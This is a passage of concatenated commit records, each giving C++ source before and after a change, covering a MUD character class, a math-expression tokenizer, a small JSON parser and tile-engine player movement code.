Local<Function>::Cast(args[0]);\n } else {\n if (!args[1]->IsFunction()) {\n ThrowException(Exception::TypeError(String::New(\"Function expected\")));\n return scope.Close(Undefined());\n }\n\n callback = Local<Function>::Cast(args[1]);\n\n if (!args[0]->IsObject()) {\n ThrowException(Exception::TypeError(String::New(\"Object expected\")));\n return scope.Close(Undefined());\n }\n }\n\n if (args[0]->IsObject()) {\n obj = args[0]->ToObject();\n }\n\n return scope.Close(obj);\n}\n\nvoid Init (Handle<Object> exports) {\n exports->Set(String::NewSymbol(\"zmap\"),\n FunctionTemplate::New(LibZMAP)->GetFunction());\n}\n\nextern \"C\" {\n NODE_MODULE(zmap, Init)\n}\n\n} \/\/ namespace libzmap\n<|endoftext|>"} {"text":"<commit_before>#include <tinyxml2.h>\n#include \"mud.h\"\n#include \"living.h\"\n#include \"event.h\"\n#include \"delayedEvent.h\"\n#include \"world.h\"\n\nLiving::Living()\n{\n events.RegisterEvent(\"HeartBeat\", new DelayedEvent(LIVING_PULSE,0));\n\n _position = POSITION_STANDING;\n _gender = Gender::Neuter;\n}\n\nvoid Living::EnterGame()\n{\n}\nvoid Living::LeaveGame()\n{\n}\n\nvoid Living::Update()\n{\n events.CallEvent(\"HeartBeat\", NULL, (void*)this);\n}\n\nbool Living::IsLiving() const\n{\n return true;\n}\n\nGender Living::GetGender() const\n{\n return _gender;\n}\nvoid Living::SetGender(Gender gender)\n{\n _gender = gender;\n}\n\nunsigned int Living::GetPosition() const\n{\n return _position;\n}\nvoid Living::SetPosition(unsigned int pos)\n{\n _position = pos;\n}\n\nbool Living::AddAttribute(Attribute* attr)\n{\n _attributes.push_back(attr);\n return true;\n}\nvoid Living::FindAttribute(int apply, int id, std::vector<Attribute*> &results)\n{\n for (Attribute* attr: _attributes)\n {\n if (attr->GetApply() == apply && attr->GetId() == id)\n {\n results.push_back(attr);\n }\n }\n}\nvoid Living::FindAttribute(int type, std::vector<Attribute*>& results)\n{\n for (Attribute* attr:_attributes)\n {\n if (attr->GetType() == type)\n {\n results.push_back(attr);\n }\n }\n}\n\nvoid Living::Serialize(tinyxml2::XMLElement* root)\n{\n tinyxml2::XMLDocument* doc = root->GetDocument();\n tinyxml2::XMLElement* node = doc->NewElement(\"living\");\n\n node->SetAttribute(\"gender\", (int)_gender);\n Entity::Serialize(node);\n root->InsertEndChild(node);\n}\nvoid Living::Deserialize(tinyxml2::XMLElement* root)\n{\n _gender = (Gender)root->IntAttribute(\"gender\");\n Entity::Deserialize(root->FirstChildElement(\"entity\"));\n}\n<commit_msg>fixed uninitialized members.<commit_after>#include <tinyxml2.h>\n#include \"mud.h\"\n#include \"living.h\"\n#include \"event.h\"\n#include \"delayedEvent.h\"\n#include \"world.h\"\n\nLiving::Living()\n{\n events.RegisterEvent(\"HeartBeat\", new DelayedEvent(LIVING_PULSE,0));\n\n _position = POSITION_STANDING;\n _gender = Gender::Neuter;\n _following = nullptr;\n}\n\nvoid Living::EnterGame()\n{\n}\nvoid Living::LeaveGame()\n{\n}\n\nvoid Living::Update()\n{\n events.CallEvent(\"HeartBeat\", NULL, (void*)this);\n}\n\nbool Living::IsLiving() const\n{\n return true;\n}\n\nGender Living::GetGender() const\n{\n return _gender;\n}\nvoid Living::SetGender(Gender gender)\n{\n _gender = gender;\n}\n\nunsigned int Living::GetPosition() const\n{\n return _position;\n}\nvoid Living::SetPosition(unsigned int pos)\n{\n _position = pos;\n}\n\nbool Living::AddAttribute(Attribute* attr)\n{\n _attributes.push_back(attr);\n return true;\n}\nvoid Living::FindAttribute(int apply, int id, std::vector<Attribute*> &results)\n{\n for (Attribute* attr: _attributes)\n {\n if (attr->GetApply() == apply && attr->GetId() == id)\n {\n results.push_back(attr);\n }\n }\n}\nvoid Living::FindAttribute(int type, std::vector<Attribute*>& results)\n{\n for (Attribute* attr:_attributes)\n {\n if (attr->GetType() == type)\n {\n results.push_back(attr);\n }\n }\n}\n\nvoid Living::Serialize(tinyxml2::XMLElement* root)\n{\n tinyxml2::XMLDocument* doc = root->GetDocument();\n tinyxml2::XMLElement* node = doc->NewElement(\"living\");\n\n node->SetAttribute(\"gender\", (int)_gender);\n Entity::Serialize(node);\n root->InsertEndChild(node);\n}\nvoid Living::Deserialize(tinyxml2::XMLElement* root)\n{\n _gender = (Gender)root->IntAttribute(\"gender\");\n Entity::Deserialize(root->FirstChildElement(\"entity\"));\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"parser.h\"\n\nint priority[128];\nbool rightassoc[128];\n\nconst std::vector<std::pair<token_type, std::string> > splitExpression(const std::string &expr)\n{\n priority[int('+')] = 0;\n priority[int('-')] = 0;\n priority[int('*')] = 1;\n priority[int('\/')] = 1;\n priority[int('%')] = 1;\n priority[int('^')] = 2;\n priority[int('\\\\')] = 3;\n priority[int('=')] = -1;\n rightassoc[int('^')] = true;\n rightassoc[int('\\\\')] = true;\n std::string func, num, poly;\n std::vector<std::pair<token_type, std::string> > ans;\n token_type last = TOKEN_LEFTPAR;\n bool skip_next_matrix = false;\n for(char i : expr + ' ')\n {\n if(('A' <= i && i <= 'Z') || i == '_')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_MATRIX, std::string() + i});\n if(skip_next_matrix)\n last = TOKEN_LEFTPAR;\n else\n last = TOKEN_MATRIX;\n skip_next_matrix = false;\n }\n else if(i == '+' || i == '*' || i == '^' || i == '(' || i == ')' || i == '=' || i == '\/' || i == '%')\n {\n if(i == '\/' && poly.size())\n {\n poly.push_back('\/');\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(i == '(')\n {\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_LEFTPAR, \"\"});\n }\n else if(i == ')')\n ans.push_back({TOKEN_RIGHTPAR, \"\"});\n else\n ans.push_back({TOKEN_OP, std::string() + i});\n last = ans.back().first;\n }\n else if(i == '-')\n {\n if(poly.size())\n {\n poly.push_back('-');\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_LEFTPAR || last == TOKEN_OP || last == TOKEN_COMMA)\n {\n ans.push_back({TOKEN_OP, \"\\\\\"}); \/\/ unary\n }\n else\n {\n ans.push_back({TOKEN_OP, \"-\"});\n }\n last = TOKEN_OP;\n }\n else if(('0' <= i && i <= '9') || i == '.')\n {\n if(poly.size())\n {\n poly.push_back(i);\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n func = \"\";\n num.push_back(i);\n last = TOKEN_NUMBER;\n }\n else if('a' <= i && i <= 'z')\n {\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR)\n ans.push_back({TOKEN_OP, \"*\"});\n func.push_back(i);\n last = TOKEN_FUNC;\n }\n else if(i == ',')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n ans.push_back({TOKEN_COMMA, \"\"});\n last = TOKEN_COMMA;\n }\n else if(i == '$')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_DOLLAR, \"\"});\n last = TOKEN_DOLLAR;\n }\n else if(i == '\"' || i == '\\'')\n {\n if(poly.size())\n {\n if(poly[0] != i)\n {\n ans.clear();\n return ans;\n }\n ans.push_back({TOKEN_POLY, poly});\n poly = \"\";\n last = TOKEN_POLY;\n }\n else\n {\n poly = i;\n num = func = \"\";\n }\n }\n else\n {\n if(i == ' ' && poly.size())\n {\n poly.push_back(i);\n continue;\n }\n if(func.size())\n {\n ans.push_back({TOKEN_FUNC, func});\n if(func == \"let\")\n skip_next_matrix = true;\n }\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n }\n }\n return ans;\n}\n<commit_msg>Более естественная расстановка умнежений<commit_after>#include \"parser.h\"\n\nint priority[128];\nbool rightassoc[128];\n\nconst std::vector<std::pair<token_type, std::string> > splitExpression(const std::string &expr)\n{\n priority[int('+')] = 0;\n priority[int('-')] = 0;\n priority[int('*')] = 1;\n priority[int('\/')] = 1;\n priority[int('%')] = 1;\n priority[int('^')] = 2;\n priority[int('\\\\')] = 3;\n priority[int('=')] = -1;\n rightassoc[int('^')] = true;\n rightassoc[int('\\\\')] = true;\n std::string func, num, poly;\n std::vector<std::pair<token_type, std::string> > ans;\n token_type last = TOKEN_LEFTPAR;\n bool skip_next_matrix = false;\n for(char i : expr + ' ')\n {\n if(('A' <= i && i <= 'Z') || i == '_')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR || last == TOKEN_POLY)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_MATRIX, std::string() + i});\n if(skip_next_matrix)\n last = TOKEN_LEFTPAR;\n else\n last = TOKEN_MATRIX;\n skip_next_matrix = false;\n }\n else if(i == '+' || i == '*' || i == '^' || i == '(' || i == ')' || i == '=' || i == '\/' || i == '%')\n {\n if(i == '\/' && poly.size())\n {\n poly.push_back('\/');\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(i == '(')\n {\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR || last == TOKEN_POLY)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_LEFTPAR, \"\"});\n }\n else if(i == ')')\n ans.push_back({TOKEN_RIGHTPAR, \"\"});\n else\n ans.push_back({TOKEN_OP, std::string() + i});\n last = ans.back().first;\n }\n else if(i == '-')\n {\n if(poly.size())\n {\n poly.push_back('-');\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_LEFTPAR || last == TOKEN_OP || last == TOKEN_COMMA)\n {\n ans.push_back({TOKEN_OP, \"\\\\\"}); \/\/ unary\n }\n else\n {\n ans.push_back({TOKEN_OP, \"-\"});\n }\n last = TOKEN_OP;\n }\n else if(('0' <= i && i <= '9') || i == '.')\n {\n if(poly.size())\n {\n poly.push_back(i);\n continue;\n }\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n func = \"\";\n num.push_back(i);\n last = TOKEN_NUMBER;\n }\n else if('a' <= i && i <= 'z')\n {\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR || last == TOKEN_POLY)\n ans.push_back({TOKEN_OP, \"*\"});\n func.push_back(i);\n last = TOKEN_FUNC;\n }\n else if(i == ',')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n ans.push_back({TOKEN_COMMA, \"\"});\n last = TOKEN_COMMA;\n }\n else if(i == '$')\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR || last == TOKEN_POLY)\n ans.push_back({TOKEN_OP, \"*\"});\n ans.push_back({TOKEN_DOLLAR, \"\"});\n last = TOKEN_DOLLAR;\n }\n else if(i == '\"' || i == '\\'')\n {\n if(poly.size())\n {\n if(poly[0] != i)\n {\n ans.clear();\n return ans;\n }\n ans.push_back({TOKEN_POLY, poly});\n poly = \"\";\n last = TOKEN_POLY;\n }\n else\n {\n if(func.size())\n ans.push_back({TOKEN_FUNC, func});\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n if(last == TOKEN_MATRIX || last == TOKEN_NUMBER || last == TOKEN_RIGHTPAR || last == TOKEN_POLY)\n ans.push_back({TOKEN_OP, \"*\"});\n poly = i;\n num = func = \"\";\n }\n }\n else\n {\n if(i == ' ' && poly.size())\n {\n poly.push_back(i);\n continue;\n }\n if(func.size())\n {\n ans.push_back({TOKEN_FUNC, func});\n if(func == \"let\")\n skip_next_matrix = true;\n }\n if(num.size())\n ans.push_back({TOKEN_NUMBER, num});\n num = func = \"\";\n }\n }\n return ans;\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"parser.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes \/\/\n#include <istream>\n#include <string>\n#include <vector>\n#include <tuple>\n\n#include \"parsestream.hpp\"\n#include \"streamutils.hpp\"\n#include \"json.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\n\/\/ Code \/\/\n\n\/\/ Creating a parse exception.\nParseException::ParseException(std::string type) {\n this->type = type;\n}\n\n\/\/ Returning a string to refer to this exception.\nconst char* ParseException::what() const throw() {\n return (\"Failed to parse a \" + this->type + \" piece of JSON.\").c_str();\n}\n\n\/\/\/\/ Trying to specifically parse out a JSON object.\n\/\/JValue parseJSONObject(ParseStream& ps) throw(ParseException) {\n \/\/throw ParseException(\"JObject\");\n\/\/}\n\n\/\/\/\/ Trying to specifically parse out a JSON array.\n\/\/JValue parseJSONArray(ParseStream& ps) throw(ParseException) {\n \/\/if (str[0] == '[' && str[str.size() - 1] == ']') {\n \/\/std::string useStr = str.substr(1, str.size() - 2);\n \/\/if (useStr.compare(\"\") == 0)\n \/\/return JValue();\n\n \/\/std::vector<JValue> jValues;\n \/\/std::tuple<std::string, std::string> tup;\n \/\/for (tup = untilChar(useStr, ','); std::get<0>(tup).compare(\"\") != 0; tup = untilChar(std::get<1>(tup), ','))\n \/\/jValues.push_back(parseJSON(stripWhitespace(std::get<0>(tup))));\n\n \/\/return JValue(jValues);\n \/\/}\n\n \/\/throw ParseException(\"parseJSONArray\");\n\/\/}\n\n\/\/ Trying to specifically parse out a JSON array.\nJValue parseJSONArray(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n\n if (ps.consume() == '[') {\n std::vector<JValue> values;\n while (true) {\n consumeWhitespace(ps);\n values.push_back(parseJSON(ps));\n consumeWhitespace(ps);\n\n char c = ps.consume();\n if (c == ']')\n break;\n else if (c != ',')\n throw ParseException(\"parseJSONArray\");\n }\n\n return JValue(values);\n }\n\n throw ParseException(\"parseJSONArray\");\n}\n\n\/\/ Trying to specifically parse out a JSON number.\nJValue parseJSONNumber(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n\n std::string str;\n bool first = true;\n while (!ps.eof() && !isDelimiter(ps.peek())) {\n char c = ps.consume();\n\n if (first && c == '-') {\n str.push_back(c);\n first = false;\n } else if (('0' <= c && c <= '9') || c == '.')\n str.push_back(c);\n else\n throw ParseException(\"parseJSONNumber\");\n }\n\n return JValue(stod(str));\n}\n\n\/\/ Trying to specifically parse out a JSON string.\nJValue parseJSONString(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n if (ps.peek() == '\"') {\n ps.consume();\n\n std::string str;\n while (ps.peek() != '\"') {\n char c = ps.consume();\n if (c == '\\n')\n throw ParseException(\"parseJSONString\");\n\n if (c == '\\\\') {\n char c2 = ps.consume();\n\n switch (c2) {\n case '\"':\n str.push_back('\"');\n break;\n case '\\\\':\n str.push_back('\\\\');\n break;\n case '\/':\n str.push_back('\/');\n case 'b':\n str.push_back('\\b');\n break;\n case 'f':\n str.push_back('\\f');\n break;\n case 't':\n str.push_back('\\t');\n break;\n case 'r':\n str.push_back('\\r');\n break;\n case 'n':\n str.push_back('\\n');\n break;\n default:\n throw ParseException(\"parseJSONString\");\n break;\n }\n } else\n str.push_back(c);\n }\n\n ps.consume();\n return JValue(str);\n }\n\n throw ParseException(\"parseJSONString\");\n}\n\n\/\/ Trying to specifically parse out a JSON boolean.\nJValue parseJSONBool(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n std::string str;\n\n while (!ps.eof() && !isDelimiter(ps.peek()))\n str.push_back(ps.consume());\n\n if (str.compare(\"true\") == 0)\n return JValue(true);\n else if (str.compare(\"false\") == 0)\n return JValue(false);\n\n throw ParseException(\"JSONBool\");\n}\n\n\/\/ Trying to specifically parse out the null JSON value.\nJValue parseJSONNull(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n std::string str;\n\n while (!ps.eof() && !isDelimiter(ps.peek()))\n str.push_back(ps.consume());\n\n if (str.compare(\"null\") == 0)\n return JValue();\n throw ParseException(\"parseJSONNull\");\n}\n\n\/\/ Attempting to perform a parse - and then backing up on an error.\nJValue attemptParse(ParseStream& ps, JValue (*parseFn)(ParseStream&)) throw(ParseException) {\n int sl = ps.getLoc();\n try { return parseFn(ps); }\n catch (const ParseException& e) {\n ps.back(ps.getLoc() - sl);\n throw e;\n }\n}\n\n\/\/ Parsing out a block of JSON from a ParseStream.\nJValue parseJSON(ParseStream& ps) throw(ParseException) {\n std::vector<JValue (*)(ParseStream&)> fns;\n fns.push_back(&parseJSONArray);\n fns.push_back(&parseJSONNumber);\n fns.push_back(&parseJSONString);\n fns.push_back(&parseJSONBool);\n fns.push_back(&parseJSONNull);\n\n for (auto it = fns.begin(); it != fns.end(); it++) {\n try { return attemptParse(ps, *it); }\n catch (const ParseException& e) { }\n }\n\n throw ParseException(\"parseJSON\");\n}\n\n\/\/ Parsing out a block of JSON from a string.\nJValue parseJSON(const std::string& str) throw(ParseException) {\n ParseStream ps(str);\n return parseJSON(ps);\n}\n\n\/\/ Parsing out a block of JSON from an istream.\nJValue parseJSON(std::istream& stream) throw(ParseException) {\n std::string line, all;\n\n while (!stream.eof()) {\n std::getline(stream, line);\n all += line;\n }\n\n return parseJSON(all);\n}\n<commit_msg>Removed the old parseJSONArray function.<commit_after>#include \"parser.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\/\/\/\/\n\/\/ Includes \/\/\n#include <istream>\n#include <string>\n#include <vector>\n#include <tuple>\n\n#include \"parsestream.hpp\"\n#include \"streamutils.hpp\"\n#include \"json.hpp\"\n\n\/\/\/\/\/\/\/\/\/\/\n\/\/ Code \/\/\n\n\/\/ Creating a parse exception.\nParseException::ParseException(std::string type) {\n this->type = type;\n}\n\n\/\/ Returning a string to refer to this exception.\nconst char* ParseException::what() const throw() {\n return (\"Failed to parse a \" + this->type + \" piece of JSON.\").c_str();\n}\n\n\/\/ Trying to specifically parse out a JSON object.\nJValue parseJSONObject(ParseStream& ps) throw(ParseException) {\n throw ParseException(\"JObject\");\n}\n\n\/\/ Trying to specifically parse out a JSON array.\nJValue parseJSONArray(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n\n if (ps.consume() == '[') {\n std::vector<JValue> values;\n while (true) {\n consumeWhitespace(ps);\n values.push_back(parseJSON(ps));\n consumeWhitespace(ps);\n\n char c = ps.consume();\n if (c == ']')\n break;\n else if (c != ',')\n throw ParseException(\"parseJSONArray\");\n }\n\n return JValue(values);\n }\n\n throw ParseException(\"parseJSONArray\");\n}\n\n\/\/ Trying to specifically parse out a JSON number.\nJValue parseJSONNumber(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n\n std::string str;\n bool first = true;\n while (!ps.eof() && !isDelimiter(ps.peek())) {\n char c = ps.consume();\n\n if (first && c == '-') {\n str.push_back(c);\n first = false;\n } else if (('0' <= c && c <= '9') || c == '.')\n str.push_back(c);\n else\n throw ParseException(\"parseJSONNumber\");\n }\n\n return JValue(stod(str));\n}\n\n\/\/ Trying to specifically parse out a JSON string.\nJValue parseJSONString(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n if (ps.peek() == '\"') {\n ps.consume();\n\n std::string str;\n while (ps.peek() != '\"') {\n char c = ps.consume();\n if (c == '\\n')\n throw ParseException(\"parseJSONString\");\n\n if (c == '\\\\') {\n char c2 = ps.consume();\n\n switch (c2) {\n case '\"':\n str.push_back('\"');\n break;\n case '\\\\':\n str.push_back('\\\\');\n break;\n case '\/':\n str.push_back('\/');\n case 'b':\n str.push_back('\\b');\n break;\n case 'f':\n str.push_back('\\f');\n break;\n case 't':\n str.push_back('\\t');\n break;\n case 'r':\n str.push_back('\\r');\n break;\n case 'n':\n str.push_back('\\n');\n break;\n default:\n throw ParseException(\"parseJSONString\");\n break;\n }\n } else\n str.push_back(c);\n }\n\n ps.consume();\n return JValue(str);\n }\n\n throw ParseException(\"parseJSONString\");\n}\n\n\/\/ Trying to specifically parse out a JSON boolean.\nJValue parseJSONBool(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n std::string str;\n\n while (!ps.eof() && !isDelimiter(ps.peek()))\n str.push_back(ps.consume());\n\n if (str.compare(\"true\") == 0)\n return JValue(true);\n else if (str.compare(\"false\") == 0)\n return JValue(false);\n\n throw ParseException(\"JSONBool\");\n}\n\n\/\/ Trying to specifically parse out the null JSON value.\nJValue parseJSONNull(ParseStream& ps) throw(ParseException) {\n consumeWhitespace(ps);\n std::string str;\n\n while (!ps.eof() && !isDelimiter(ps.peek()))\n str.push_back(ps.consume());\n\n if (str.compare(\"null\") == 0)\n return JValue();\n throw ParseException(\"parseJSONNull\");\n}\n\n\/\/ Attempting to perform a parse - and then backing up on an error.\nJValue attemptParse(ParseStream& ps, JValue (*parseFn)(ParseStream&)) throw(ParseException) {\n int sl = ps.getLoc();\n try { return parseFn(ps); }\n catch (const ParseException& e) {\n ps.back(ps.getLoc() - sl);\n throw e;\n }\n}\n\n\/\/ Parsing out a block of JSON from a ParseStream.\nJValue parseJSON(ParseStream& ps) throw(ParseException) {\n std::vector<JValue (*)(ParseStream&)> fns;\n fns.push_back(&parseJSONObject);\n fns.push_back(&parseJSONArray);\n fns.push_back(&parseJSONNumber);\n fns.push_back(&parseJSONString);\n fns.push_back(&parseJSONBool);\n fns.push_back(&parseJSONNull);\n\n for (auto it = fns.begin(); it != fns.end(); it++) {\n try { return attemptParse(ps, *it); }\n catch (const ParseException& e) { }\n }\n\n throw ParseException(\"parseJSON\");\n}\n\n\/\/ Parsing out a block of JSON from a string.\nJValue parseJSON(const std::string& str) throw(ParseException) {\n ParseStream ps(str);\n return parseJSON(ps);\n}\n\n\/\/ Parsing out a block of JSON from an istream.\nJValue parseJSON(std::istream& stream) throw(ParseException) {\n std::string line, all;\n\n while (!stream.eof()) {\n std::getline(stream, line);\n all += line;\n }\n\n return parseJSON(all);\n}\n<|endoftext|>"} {"text":"<commit_before>\/******************************\n** Tsunagari Tile Engine **\n** player.cpp **\n** Copyright 2011 OmegaSDG **\n******************************\/\n\n#include <Gosu\/Audio.hpp>\n#include <Gosu\/Input.hpp>\n\n#include \"area.h\"\n#include \"entity.h\"\n#include \"player.h\"\n#include \"world.h\"\n#include \"window.h\"\n\nPlayer::Player(Resourcer* rc, Area* area)\n\t: Entity(rc, area)\n{\n}\n\nvoid Player::moveByTile(coord_t delta)\n{\n\tbool changed = false;\n\n\t\/\/ TODO: use double array of directions\n\t\/\/ would make diagonals easier to handle\n\tif (delta.x > 0) {\n\t\tsetPhase(\"right\");\n\t\tchanged = true;\n\t}\n\telse if (delta.x < 0) {\n\t\tsetPhase(\"left\");\n\t\tchanged = true;\n\t}\n\telse if (delta.y > 0) {\n\t\tsetPhase(\"down\");\n\t\tchanged = true;\n\t}\n\telse if (delta.y < 0) {\n\t\tsetPhase(\"up\");\n\t\tchanged = true;\n\t}\n\n\t\/\/ Redraw the player if we change graphics.\n\tif (changed)\n\t\tredraw = true;\n\n\t\/\/ Left CTRL allows changing facing, but disallows movement.\n\tGameWindow* w = GameWindow::getWindow();\n\tif (w->input().down(Gosu::kbLeftControl))\n\t\treturn;\n\n\t\/\/ Try to actually move.\n\tcoord_t newCoord = getCoordsByTile();\n\tnewCoord.x += delta.x;\n\tnewCoord.y += delta.y;\n\tnewCoord.z += delta.z;\n\tArea::Tile* dest = area->getTile(newCoord);\n\tif ((dest->flags & Area::player_nowalk) != 0 ||\n\t (dest->type->flags & Area::player_nowalk) != 0) {\n\t\t\/\/ The tile we're trying to move onto is set as player_nowalk.\n\t\t\/\/ Stop here.\n\t\treturn;\n\t}\n\n\tEntity::moveByTile(delta);\n}\n\nvoid Player::postMove()\n{\n\tSampleRef step_sound = getSound(\"step\");\n\tif (step_sound)\n\t\tstep_sound->play(1, 1, 0);\n\t\n\tcoord_t coord = getCoordsByTile();\n\tArea::Tile* dest = area->getTile(coord);\n\tArea::Door* door = dest->door;\n\tif (door)\n\t\tWorld::getWorld()->loadArea(door->area, door->coord);\n}\n\n<commit_msg>change access to door, realizing its a scoped_ptr<commit_after>\/******************************\n** Tsunagari Tile Engine **\n** player.cpp **\n** Copyright 2011 OmegaSDG **\n******************************\/\n\n#include <Gosu\/Audio.hpp>\n#include <Gosu\/Input.hpp>\n\n#include \"area.h\"\n#include \"entity.h\"\n#include \"player.h\"\n#include \"world.h\"\n#include \"window.h\"\n\nPlayer::Player(Resourcer* rc, Area* area)\n\t: Entity(rc, area)\n{\n}\n\nvoid Player::moveByTile(coord_t delta)\n{\n\tbool changed = false;\n\n\t\/\/ TODO: use double array of directions\n\t\/\/ would make diagonals easier to handle\n\tif (delta.x > 0) {\n\t\tsetPhase(\"right\");\n\t\tchanged = true;\n\t}\n\telse if (delta.x < 0) {\n\t\tsetPhase(\"left\");\n\t\tchanged = true;\n\t}\n\telse if (delta.y > 0) {\n\t\tsetPhase(\"down\");\n\t\tchanged = true;\n\t}\n\telse if (delta.y < 0) {\n\t\tsetPhase(\"up\");\n\t\tchanged = true;\n\t}\n\n\t\/\/ Redraw the player if we change graphics.\n\tif (changed)\n\t\tredraw = true;\n\n\t\/\/ Left CTRL allows changing facing, but disallows movement.\n\tGameWindow* w = GameWindow::getWindow();\n\tif (w->input().down(Gosu::kbLeftControl))\n\t\treturn;\n\n\t\/\/ Try to actually move.\n\tcoord_t newCoord = getCoordsByTile();\n\tnewCoord.x += delta.x;\n\tnewCoord.y += delta.y;\n\tnewCoord.z += delta.z;\n\tArea::Tile* dest = area->getTile(newCoord);\n\tif ((dest->flags & Area::player_nowalk) != 0 ||\n\t (dest->type->flags & Area::player_nowalk) != 0) {\n\t\t\/\/ The tile we're trying to move onto is set as player_nowalk.\n\t\t\/\/ Stop here.\n\t\treturn;\n\t}\n\n\tEntity::moveByTile(delta);\n}\n\nvoid Player::postMove()\n{\n\tSampleRef step_sound = getSound(\"step\");\n\tif (step_sound)\n\t\tstep_sound->play(1, 1, 0);\n\t\n\tcoord_t coord = getCoordsByTile();\n\tArea::Tile* dest = area->getTile(coord);\n\tArea::Door* door = dest->door.get();\n\tif (door)\n\t\tWorld::getWorld()->loadArea(door->area, door->coord);\n}\n\n<|endoftext|>"} {"text":"<commit_before>#include \"player.h\"\n\nPlayer::Player()\n{\n\t\n}\n\n\nPlayer::Player(Level* lev)\n{\n\tmoveVector = sf::Vector2f(0,0);\n\tposition = lev->getPlayerStart();\n\/\/\tstd::cout << \"pos: \" << position.x << \",\" << position.y << \"\\n\";\n\/\/\tinitPlayer();\n\tmovementSpeed = 8;\n\tlevel = lev;\n\tcollectedScrews = 0;\n\/\/\torientation = DIRECTION_LEFT;\n\/\/\ts = SoundHandler::getSoundHandler();\n\/\/\tshooting = false;\n\/\/\treload_time = 40;\n\/\/\tshoot_threshold = 0;\n\/\/\tleben = 100.0f;\n\troboto_bold.loadFromFile(\"assets\/Roboto-Bold.ttf\");\n\ttex_player.loadFromFile(\"assets\/robot_ani.png\");\n\tani = new Animation();\n\tani->setSpriteSheet(tex_player);\n\tani->addFrame(sf::IntRect(0, 0, 80, 80));\n\tani->addFrame(sf::IntRect(80, 0, 80, 80));\n\tanimatedSprite = new AnimatedSprite(sf::seconds(0.2), true, false);\n}\n\n\nvoid Player::move()\n{\n\t\n\t\n\t\n\tsf::Vector2f mV = moveVector*movementSpeed;\n\t\n\t\/\/std::cout << \"move\\n\" << mV.x << \" \" <<mV.y<<\"\\n\";\n\t\n\t\n\t\n\t\/\/ Bounding box of the player(after the move)\n\tsf::FloatRect* player_box = new sf::FloatRect(position + mV,sf::Vector2f(ROBOTSIZE,ROBOTSIZE));\n\t\n\t\/\/check if hit exit\n\tif(level->isExit(position + mV,player_box))\n\t{\n\t\tresetLevel(new Level(level->getNextLevel()));\n\t\tstd::cout << \"Exit\\n\";\n\t}\n\t\n\t\/\/check for wall Collisions\n\tmV = level->wallCollision(position,player_box,mV);\n\t\n\t\/\/ Update the player location\n\tsf::Vector2f new_location(position + mV);\n\t\/\/std::cout << \"pos: \" << position.x << \",\" << position.y << \"\\n\";\n\t\n\n\t\/\/std::cout << \"move\\n\" << mV.x << \" \" <<mV.y<<\"\\n\";\n\n\t\n\t\n\t\/\/ Check if new position is inside the game area\n\tif(new_location.x >= 0\n\t\t&& new_location.x + ROBOTSIZE <= level->getBounds().x\n\t\t&& new_location.y >= 0\n\t\t&& 